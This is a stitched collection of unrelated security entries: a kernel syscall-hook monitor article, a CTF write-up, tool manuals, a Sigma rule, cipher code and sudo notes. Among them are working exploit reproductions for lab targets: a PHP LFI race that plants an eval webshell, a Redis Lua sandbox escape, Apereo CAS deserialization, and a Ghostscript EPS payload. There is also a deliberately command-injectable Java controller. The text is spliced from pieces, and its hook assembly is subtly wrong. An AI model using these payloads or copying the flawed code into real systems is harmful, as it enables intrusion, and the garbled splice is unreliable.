在应用层做Hook的好处是不受内核版本影响，通用性较好，而且技术难度相对较低，但是缺点更明显，因为ring3层的Hook都是针对glibc库做的监控，只要直接陷入0x80中断，就可以绕过glibc库直接调用系统调用，比如近期分析的某挖矿木马：
既然应用层的监控行不通，那就看看内核层的监控手段：
1、API Inline Hook
2、sys_call_table Hook
3、IDT Hook
4、利用LSM(Linux Security Module)
API Inline Hook以及IDT Hook操作难度较大，而且兼容性较差，利用LSM监控API虽然性能最好，但是必须编译进内核才能使用，不可以实时安装卸载，而sys_call_table的Hook相对易于操作，作为防御者也可以直接从” /boot/System.map-`uname -r` ”中直接获取sys_call_table地址，也可以利用LKM(loadable kernel module)技术实现实时安装卸载，所以最后选择在内核层Hook sys_call_table实现监控。
综合上面方案的优缺点，我们选择修改sys_call_table中的execve系统调用，虽然要适配内核版本，但是能100%监控执行的命令。
## 0x01 总体架构
首先sys_execve监控模块，需要替换原有的execve系统调用。在执行命令时，首先会进入监控函数，将日志通过NetLink发送到用户态分析程序（如想在此处进行命令拦截，修改代码后也是可以实现的），然后继续执行系统原生的execve函数。
## 0x02 获取sys_call_table地址
获取sys_call_table的数组地址，可以通过/boot目录下的System.map文件中查找。
命令如下：
`cat /boot/System.map-`uname-r` | grep sys_call_table `
这种方式比较麻烦，在每次insmod内核模块的时候，需要将获取到的地址通过内核模块传参的方式传入。而且System.map并不是每个系统都有的，删除System.map对于系统运行无影响。
我们通过假设加偏移的方法获取到sys_call_table地址，首先假设sys_call_tale地址为sys_close，然后判断sys_call_table[__NR_close]是否等于sys_close，如果不等于则将刚才的sys_call_table偏移sizeof(void *)这么多字节，直到满足之前的判断条件，则说明找到正确的sys_call_table的地址了。
代码如下：
``` c
unsigned long **find_sys_call_table(void) {
unsigned long ptr;
unsigned long *p;
pr_err("Start foundsys_call_table.\n");
for (ptr = (unsignedlong)sys_close;
ptr < (unsignedlong)&loops_per_jiffy;
ptr += sizeof(void*)) {
p = (unsigned long*)ptr;
if (p[__NR_close] ==(unsigned long)sys_close) {
pr_err("Foundthe sys_call_table!!! __NR_close[%d] sys_close[%lx]\n"
"__NR_execve[%d] sct[__NR_execve][0x%lx]\n",
__NR_close,
(unsigned long)sys_close,
__NR_execve,
p[__NR_execve]);
return (unsignedlong **)p;
}
}
return NULL;
}
```
## 0x03 修改__NR_execve地址
即使获取到了sys_call_table也无法修改其中的值，因为sys_call_table是一个const类型，在修改时会报错。因此需要将寄存器cr0中的写保护位关掉，wp写保护的对应的bit位为0x00010000。
代码如下：
``` c
unsigned long original_cr0;
original_cr0 = read_cr0();
write_cr0(original_cr0 & ~0x00010000); #解除写保护
orig_stub_execve = (void *)(sys_call_table_ptr[__NR_execve]);
sys_call_table_ptr[__NR_execve]= (void *)monitor_stub_execve_hook;
write_cr0(original_cr0); #加上写保护
```
在修改sys_call_hook[__NR_execve]中的地址时，不只是保存原始的execve的地址，同时把所有原始的系统调用全部保存下载。
``` c
void *orig_sys_call_table [NR_syscalls];
for(i = 0; i < NR_syscalls - 1; i ++) {
orig_sys_call_table[i] =sys_call_table_ptr[i];
}
```
## 0x04 Execve进行栈平衡
除了execve之外的其他系统调用，基本只要自定义函数例如：my_sys_write函数，在此函数中预先执行我们的逻辑，然后再执行orig_sys_write函数，参数原模原样传入即可。但是execve不能模仿上面的写法，用以上的方法可能会导致Kernel Panic。
需要进行一下栈平衡，操作如下：
1. 定义替换原始execve函数的函数monitor_stub_execve_hook
``` asm
.text
.global monitor_stub_execve_hook
monitor_stub_execve_hook:
```
2. 在执行execve监控函数之前，将原始的寄存器进行入栈操作：
``` asm
pushq %rbx
pushq %rdi
pushq %rsi
pushq %rdx
pushq %rcx
pushq %rax
pushq %r8
pushq %r9
pushq %r10
pushq %r11
```
3. 执行监控函数并Netlink上报操作：
`call monitor_execve_hook`
4. 入栈的寄存器值进行出栈操作
``` asm
pop %r11
pop %r10
pop %r9
pop %r8
pop %rax
pop %rcx
pop %rdx
pop %rsi
pop %rdi
pushq %rbx
```
5. 执行系统的execve函数
`jmp *orig_sys_call_table(, %rax, 8)`
## 0x05 执行命令信息获取
监控执行命令，如果用户态使用的是相对路径执行，此模块也需要获取出全路径。通过getname()函数获取执行文件名，通过open_exec()和d_path()获取出执行文件全路径。通过current结构体变量获取进程pid，父进程名，ppid等信息。同时也获取运行时的环境变量中PWD，LOGIN相关的值。
最终将获取到的数据组装成字符串，用ascii码值为0x1作为分隔符，通过netlink_broadcast()发送到到用户态分析程序处理。
## 0x06 监控效果
在加载内核模块，在用户态执行netlink消息接收程序。然后使用相对路径执行命令./t my name is xxxx，然后查看用户态测试程序获取的数据。
## 0x07 版本支持及代码
支持内核版本：2.6.32, >=3.10.0
源代码路径：https://github.com/ysrc/yulong-hids/tree/master/syscall_hook
|
sec-knowleage
|
# Calculator
5 Points
## Solution
We get a page titled "A nice calculator" with an input field saying "Formula e.g. 5*5+1". We can enter a formula and receive the result.
A developer message is printed to the developer console: `Loading the code for the Calculator (5 pt) page. To debug this code, open d3wwc.js in Developer Tools`. So, let's check the code (`CTRL`+`P` in the Chrome "Sources" tab, then search for `d3wwc.js`. There should be two results, if the current result says "Source map detected", choose the other one):
```javascript
import { calculate} from "backend/calculator.jsw"
$w.onReady(function () {
});
/**
* Adds an event handler that runs when the element is clicked.
* @param {$w.MouseEvent} event
*/
export function Calculate_click(event) {
calculate($w("#formula").value).then(resultObj => {
if(!resultObj) {
$w('#result').text = "Error: Make sure you insert a legal formula!"
}else{
$w('#result').text = "= " + resultObj.result
console.log(resultObj.description)
}
}).catch(err => {
$w('#result').text = "Error: Make sure you insert a legal formula!"
console.error(err)
});
}
```
Nothing much here, let's see what happens when we enter enter different inputs. Entering `7*7` triggers a request to `https://www.wixctf.com/_api/wix-code-public-dispatcher/siteview/backend/calculator.jsw/calculate.ajax`, and the response is a JSON object:
```json
{"result":{"result":49,"description":"Failed to execute passChallenge"}}
```
Failed to execute passChallenge, you say? So what if we enter `passChallenge` in the formula? Well, we get the following response:
```json
{"result":{"result":"You passed the challenge R3M073_c0d3_3x3CU7i0n","description":"RCE successfully done"}}
```
Ok then...
|
sec-knowleage
|
smartmontools
===
Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的
##安装
```shell
sudo aptitude install smartmontools
```
## 语法
```shell
smartctl (选项) (参数)
```
## 选项
```shell
-i <硬盘> 显示硬盘设备的标识信息
-a <硬盘> 显示设备的所有SMART信息
-H <硬盘> 显示设备的健康信息
-A <硬盘> 显示设备SMART供应商特定的属性和值
```
## 参数
硬盘设备：指定要查看的硬盘(可以使用 fdisk -l 获取有哪些硬盘设备)
```shell
~ sudo fdisk -l
设备 起点 末尾 扇区 大小 类型
/dev/sda1 2048 1050623 1048576 512M EFI 系统
/dev/sda2 1050624 976771071 975720448 465.3G Linux 文件系统
```
## 实例
查看 /dev/sda1 硬盘的健康状态，在这个命令中，"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持，那就省略它。\
（PASSED 表示健康；FAILED 表示即将出现故障所以需要开始备份这块磁盘上的重要数据）
```shell
~ sudo smartctl -s on -H /dev/sda1
=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED
```
查看 /dev/sda1 硬盘特定的属性和值
(Power_On_Hours: 表示通电时长 18195 小时)
```shell
~ sudo smartctl -A /dev/sda1
=== START OF READ SMART DATA SECTION ===
SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE
3 Spin_Up_Time 0x0023 100 100 002 Pre-fail Always - 1326
4 Start_Stop_Count 0x0032 100 100 000 Old_age Always - 3752
9 Power_On_Hours 0x0032 055 055 000 Old_age Always - 18195
10 Spin_Retry_Count 0x0033 174 100 030 Pre-fail Always - 0
12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 3118
183 Runtime_Bad_Block 0x0032 100 100 001 Old_age Always - 0
184 End-to-End_Error 0x0033 100 100 097 Pre-fail Always - 0
185 Unknown_Attribute 0x0032 100 100 001 Old_age Always - 65535
187 Reported_Uncorrect 0x0032 001 001 000 Old_age Always - 134
188 Command_Timeout 0x0032 100 098 000 Old_age Always - 48
191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 2850
192 Power-Off_Retract_Count 0x0022 100 100 000 Old_age Always - 32047593
193 Load_Cycle_Count 0x0032 095 095 000 Old_age Always - 51738
194 Temperature_Celsius 0x0022 060 055 040 Old_age Always - 40 (Min/Max 16/44)
```
### 以指定的间隔运行，同时又能通知硬盘的测试结果
首先，编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd，并以秒为单位指定间隔时间（如7200 = 2小时）
```shell
start_smartd=yes
smartd_opts="--interval=7200"
```
下一步，编辑smartd的配置文件（/etc/smartd.conf），添加以下行内容。
```shell
/dev/sda -m myemail@mydomain.com -M test
```
选项说明 \
-m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于 myemail@mydomain.com 的邮件地址。\
-M ：指定发送邮件报告的期望类型。\
once：为检测到的每种磁盘问题只发送一封警告邮件。\
daily：为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。\
diminishing：为检测到的每种问题发送一封额外的警告提醒邮件，开始是每隔一天，然后每隔两天，每隔四天，以此类推。每个间隔是前一次间隔的2倍。\
test：只要smartd一启动，立即发送一封测试邮件。\
exec PATH：取代默认的邮件命令，运行PATH路径下的可执行文件。PATH必须指向一个可执行的二进制文件或脚本。当检测到一个问题时，可以指定执行一个期望的动作（闪烁控制台、关闭系统等等）。
保存改动并重启smartd。
|
sec-knowleage
|
# PHP文件包含漏洞（利用phpinfo）
PHP文件包含漏洞中，如果找不到可以包含的文件，我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。
参考链接：
- https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
## 漏洞环境
执行如下命令启动环境：
```
docker compose up -d
```
目标环境是官方最新版PHP7.2，说明该漏洞与PHP版本无关。
环境启动后，访问`http://your-ip:8080/phpinfo.php`即可看到一个PHPINFO页面，访问`http://your-ip:8080/lfi.php?file=/etc/passwd`，可见的确存在文件包含漏洞。
## 利用方法简述
在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件（通常是`/tmp/php[6个随机字符]`），文件名可以在`$_FILES`变量中找到。这个临时文件，在请求结束后就会被删除。
同时，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到`$_FILES`变量的内容，自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时，即可利用这个方法，找到临时文件名，然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争，具体流程如下：
1. 发送包含了webshell的上传数据包给phpinfo页面，这个数据包的header、get等位置需要塞满垃圾数据
2. 因为phpinfo页面会将所有数据都打印出来，1中的垃圾数据会将整个phpinfo页面撑得非常大
3. php默认的输出缓冲区大小为4096，可以理解为php每次返回4096个字节给socket连接
4. 所以，我们直接操作原生socket，每次读取4096个字节。只要读取到的字符里包含临时文件名，就立即发送第二个数据包
5. 此时，第一个数据包的socket连接实际上还没结束，因为php还在继续每次输出4096个字节，所以临时文件此时还没有删除
6. 利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即可成功包含临时文件，最终getshell
## 漏洞复现
利用脚本[exp.py](exp.py)实现了上述过程，成功包含临时文件后，会执行`<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>`，写入一个新的文件`/tmp/g`，这个文件就会永久留在目标机器上。
用python2执行：`python exp.py your-ip 8080 100`：
可见，执行到第289个数据包的时候就写入成功。然后，利用lfi.php，即可执行任意命令：
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/php:xxe
volumes:
- ./www:/var/www/html
ports:
- "8080:80"
|
sec-knowleage
|
# T1105-Windows Update被发现可滥用于执行恶意程序行为检测
## 来自ATT&CK的描述
攻击者可能会将工具或其他文件从外部系统转移到被攻陷的环境中。可以通过命令控制通道从外部攻击者控制的系统中复制文件，以便将工具带入被攻陷的网络环境中，或通过与另一个工具（如FTP）的替代协议复制文件。文件也可以在Mac和Linux上使用scp、rsync和sftp等本机工具进行复制。
## 测试案例
援引外媒Bleeping Computer报道，MDSec研究人员David Middlehurst发现，攻击者可以通过使用以下命令行选项从任意特制的DLL加载wuauclt，从而在Windows 10系统上执行恶意代码：
```yml
wuauclt.exe /UpdateDeploymentProvider [path_to_dll] /RunHandlerComServer
```
该技巧绕过Windows用户帐户控制（UAC）或Windows Defender应用程序控制（WDAC），可用于在已经受到威胁的系统上获得持久性。之所以能够发现，是因为他发现已经有黑客利用这个漏洞执行攻击行为。
## 检测日志
windows安全日志、其他EDR类产品
## 测试复现
暂无
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```yml
title: Windows Update Client滥用检测
status: experimental
description: Detects code execution via the Windows Update client (wuauclt)
references:
- https://www.nruan.com/75037.html
tags:
- attack.command_and_control
- attack.execution
- attack.t1105
- attack.t1218
logsource:
product: windows #windows
service: process_creation #安全事件，进程创建
detection:
selection:
ProcessCommandline|contains|all: #进程命令行参数包含以下任意一项
- '/UpdateDeploymentProvider'
- '/RunHandlerComServer'
Image|endswith:
- '\wuauclt.exe' #进程路径为以wuauclt.exe
condition: selection
falsepositives:
- Unknown
level: high
```
### 建议
低版本操作系统无法记录命令行参数及子父进程，建议通过Sysmon进行监控。
## 参考推荐
MITRE-ATT&CK-T1105
<https://attack.mitre.org/techniques/T1105>
Windows Update被发现可滥用于执行恶意程序
<https://www.nruan.com/75037.html>
|
sec-knowleage
|
.\" info(5)
.\" $Id: info.5 5191 2013-02-23 00:11:18Z karl $
.\"
.\" Copyright 1998, 2005, 2011 Free Software Foundation, Inc.
.\"
.\" Copying and distribution of this file, with or without modification,
.\" are permitted in any medium withou royalty provided the copyright
.\" notice and this notice are preserved.
.\"
.de EX
.nf
.ft CW
.in +5
..
.de EE
.in -5
.ft R
.fi
..
.TH INFO 5 "GNU Info" "自由软件基金会"
.SH "名称"
info \- 易读的在线文档
.SH "描述"
Info 文件格式是一种易于解析的在线文档表示格式。它可以用
.I emacs(1)
和
.I info(1)
以及一些其他程序来阅读。
.PP
Info 文件通常创建自
.I texinfo(5)
源文件，使用
.IR makeinfo(1)
命令。但是，如果需要的话，也可以自行创建。
.PP
要查看 Texinfo 语言和相关工具的全面描述，请查看 Texinfo 手册（以 Texinfo 自身写成）。
最简单的，从 shell 中运行这个命令：
.EX
info texinfo
.EE
或者在 Emacs 中输入按键序列：
.EX
M-x info RET m texinfo RET
.EE
也可以把你带到那里。
.SH "获取"
http://www.gnu.org/software/texinfo/
.SH "报告错误"
将错误报告发送到 bug-texinfo@gnu.org，
一般的问题和讨论则发送到 help-texinfo@gnu.org。
.SH "参见"
info(1), install-info(1), makeinfo(1), texi2dvi(1),
.br
texindex(1).
.br
emacs(1), tex(1).
.br
texinfo(5).
|
sec-knowleage
|
# Redis Lua沙盒绕过命令执行（CVE-2022-0543）
Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象`package`，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。
参考链接：
- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>
## 漏洞环境
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器：
```
docker compose up -d
```
服务启动后，我们可以使用`redis-cli -h your-ip`连接这个redis服务器。
## 漏洞复现
我们借助Lua沙箱中遗留的变量`package`的`loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数，即可获得`io`库，再使用其执行命令：
```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```
值得注意的是，不同环境下的liblua库路径不同，你需要指定一个正确的路径。在我们Vulhub环境（Ubuntu fiocal）中，这个路径是`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`。
连接redis，使用`eval`命令执行上述脚本：
```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```
可见命令已成功执行：
|
sec-knowleage
|
# Apereo CAS 4.1 Deserialization RCE Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Apereo CAS is a enterprise single sign-on system. There is an issue in CAS’s attempts to deserialize objects via the Apache Commons Collections library, which cased a RCE vulnerability.
Reference:
- https://apereo.github.io/2016/04/08/commonsvulndisc/
## Environment Setup
Execute following commands to start an Apereo CAS 4.1.5：
```
docker compose up -d
```
After the Apereo CAS is started, visiting `http://your-ip:8080/cas/login` to see the login page.
## Exploit
The out-of-the-box default configuration of Apereo CAS before 4.1.7, is using a default secret key `changeit`:
```java
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
```
We can try to use [Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack) to generate a encrypted [ysoserial](https://github.com/frohoff/ysoserial)'s serialized object:
```
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
```
Then, intercept and modify the http request from login action of `/cas/login`, put the payload into `execution`'s value:
```
POST /cas/login HTTP/1.1
Host: your-ip
Content-Length: 2287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
Connection: close
username=test&password=test<=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
```
Congrats, `touch /tmp/success` has been successfully executed:
|
sec-knowleage
|
# Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509
Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. `/usr/local/bin/gs` or `/usr/bin/gs`) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example).
## Exploit
You can upload [rce.jpg](rce.jpg) (a specially-crafted EPS image, not a real JPG) to execute `touch /tmp/got_rce` in the server. For proof, you can execute `docker exec [CONTAINER_ID] ls -alt /tmp`. To get `CONTAINER_ID`, you can check with `docker container ls`. To change the shell execution to other commands, you can change `touch /tmp/got_rce` directly in the `rce.jpg`.
## Analysis
You can refer to the explanation of vulnerability by Tavis Ormandy in [oss-security](https://seclists.org/oss-sec/2018/q3/142).
You can check the source code Ghostscript wrapper of PIL/Pillow in [EPSImagePlugin.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py).
This is the vulnerable code of `app.py`:
```python
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```
Content of uploaded file will be loaded by `img = Image.open(img_path)`. PIL will automatically detect if the image is an EPS image (example: add `%!PS-Adobe-3.0 EPSF-3.0` at the beginning of file) and will call _open() in `EpsImageFile` class in `EPSImagePlugin.py`. To avoid `raise IOError("cannot determine EPS bounding box")`, a bounding box need to be added in the file (example: `%%BoundingBox: -0 -0 100 100`).
The body of EPS image will be processed by Ghostscript binary with `subprocess` as we can see in `EPSImagePlugin.py` in `Ghostscript` function.
```python
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
```
The code above is called when `load` is called in [Image.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/Image.py) so only open the image will not trigger the vulnerability. Function like `resize`, `crop`, `rotate`, and `save` will call `load` and trigger the vulnerability.
Combined with POC from Tavis Ormandy, we can craft `rce.jpg` for remote shell command execution.
```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```
|
sec-knowleage
|
# 命令执行
## Runtime
{% code title="CommandController.java" %}
```java
package com.example.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
@RestController
public class CommandController {
@GetMapping("/command/test")
public String executeCommand(@RequestParam String command) throws IOException {
String output = "";
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
return output;
}
}
```
{% endcode %}
## ProcessBuilder
{% code title="CommandController.java" %}
```java
package com.example.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
@RestController
public class CommandController {
@GetMapping("/command/test")
public String executeCommand(@RequestParam String command) throws IOException {
String output = "";
ProcessBuilder builder = new ProcessBuilder(command.split(" "));
Process process = builder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
return output;
}
}
```
{% endcode %}
## 漏洞修复
1. 如果使用 `Runtime.exec()` 执行命令，请改用 `ProcessBuilder`。这样可以避免在构造命令字符串时遇到潜在的注入问题，例如：
```java
ProcessBuilder builder = new ProcessBuilder();
builder.command("ls", "-l");
Process process = builder.start();
```
2. 在使用外部参数构造命令时，请务必对其进行输入验证和过滤。这可以确保只允许在需要时执行特定的命令和参数。例如，如果只需要列出某个目录的内容，则可以对目录进行验证并拒绝任何输入的参数。
3. 在使用用户提供的参数时，请务必对其进行转义和编码。这可以防止用户输入恶意代码并在执行命令时注入命令字符串。例如，可以使用 `StringEscapeUtils.escapeJava()` 方法来转义 Java 字符串中的特殊字符。
4. 尽可能地使用库中提供的高级 API，以避免直接使用操作系统命令。例如，使用 Spring 的 `ProcessLauncher` 接口来执行命令，或使用 Apache Commons Exec 库来执行外部进程。
|
sec-knowleage
|
# During CTF we reversed encryption using z3 to solve round-by-round.
#
# The decryptor below has been implemented after CTF as an excercise.
def int64(value):
return value & 0xffffffffffffffff
def rol64(value, shift):
return (value << shift) | (value >> (0x40 - shift))
def key_schedule(key):
key_A, key_B = key
yield key_A
for round in xrange(0x1f):
key_B = int64(round ^ (key_A + rol64(key_B, 0x38)))
key_A = int64(key_B ^ rol64(key_A, 3))
yield key_A
def encrypt(key, plaintext):
data_A, data_B = plaintext
for round_key in key_schedule(key):
data_B = int64(round_key ^ (data_A + rol64(data_B, 0x38)))
data_A = int64(data_B ^ rol64(data_A, 3))
ciphertext = data_A, data_B
return ciphertext
def decrypt(key, ciphertext):
data_A, data_B = ciphertext
for round_key in reversed(list(key_schedule(key))):
data_A = int64(rol64(data_A ^ data_B, 0x3d))
data_B = int64(rol64(int64((data_B ^ round_key) - data_A), 8))
plaintext = data_A, data_B
return plaintext
|
sec-knowleage
|
# Simon and Speck Block Ciphers (Crypto, 100p)
```
Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5
```
In the task we get the plaintext, ciphertext and the information what is the encryption.
We also get the key with 4 missing characters.
It seems like a good target to simply brute-force, because 4 bytes is not much.
We found the Simon algorithm at https://github.com/inmcm/Simon_Speck_Ciphers/blob/master/Python/simon.py and we prepared a simple brute-force script:
```python
from crypto_commons.brute.brute import brute
from crypto_commons.generic import bytes_to_long
dataset = string.uppercase + string.lowercase + string.digits + string.punctuation + " "
def worker(a):
print(a)
for b in dataset:
for c in dataset:
for d in dataset:
# Simon_96_64, ECB, key = "SECCON{xxxx}", plain = 0x6d564d37426e6e71, cipher = 0xbb5d12ba422834b5
key = "SECCON{" + a + b + c + d + "}"
w = SimonCipher(bytes_to_long(key), key_size=96, block_size=64)
t = w.encrypt(0x6d564d37426e6e71)
if t == 0xbb5d12ba422834b5:
print(key)
sys.exit(0)
if __name__ == "__main__":
brute(worker, dataset, 7)
```
Nothing special here, we simply try every 4 character combination as the key, until the ciphertext matches.
It was pretty slow so we used PyPy and multiprocessing to run in paralell on multiple cores.
After a while we got: `SECCON{6Pz0}`
|
sec-knowleage
|
sudo
===
以其他身份来执行命令
## 补充说明
**sudo命令** 用来以其他身份来执行命令，预设的身份为root。在`/etc/sudoers`中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo，则会发出警告的邮件给管理员。用户使用sudo时，必须先输入密码，之后有5分钟的有效期限，超过期限则必须重新输入密码。
### 语法
```shell
sudo(选项)(参数)
```
### 选项
```shell
-b：在后台执行指令；
-E：继承当前环境变量
-h：显示帮助；
-H：将HOME环境变量设为新身份的HOME环境变量；
-k：结束密码的有效期限，也就是下次再执行sudo时便需要输入密码；。
-l：列出目前用户可执行与无法执行的指令；
-p：改变询问密码的提示符号；
-s<shell>：执行指定的shell；
-u<用户>：以指定的用户作为新的身份。若不加上此参数，则预设以root作为新的身份；
-v：延长密码有效期限5分钟；
-V ：显示版本信息。
```
### 参数
指令：需要运行的指令和对应的参数。
### 实例
```shell
$ sudo su -
# env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
```
这个命令相当于使用root超级用户重新登录一次shell，只不过密码是使用的当前用户的密码。而且重要是，该命令会 **重新加载/etc/profile文件以及/etc/bashrc文件等系统配置文件，并且还会重新加载root用户的$SHELL环境变量所对应的配置文件** ，比如：root超级用户的$SHELL是/bin/bash，则会加载/root/.bashrc等配置。如果是/bin/zsh，则会加载/root/.zshrc等配置，执行后是完全的root环境。
```shell
$ sudo -i
# env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
```
这个命令基本与 `sudo su -` 相同，执行后也是root超级用户的环境，只不过是多了一些当前用户的信息。
```shell
$ sudo -s
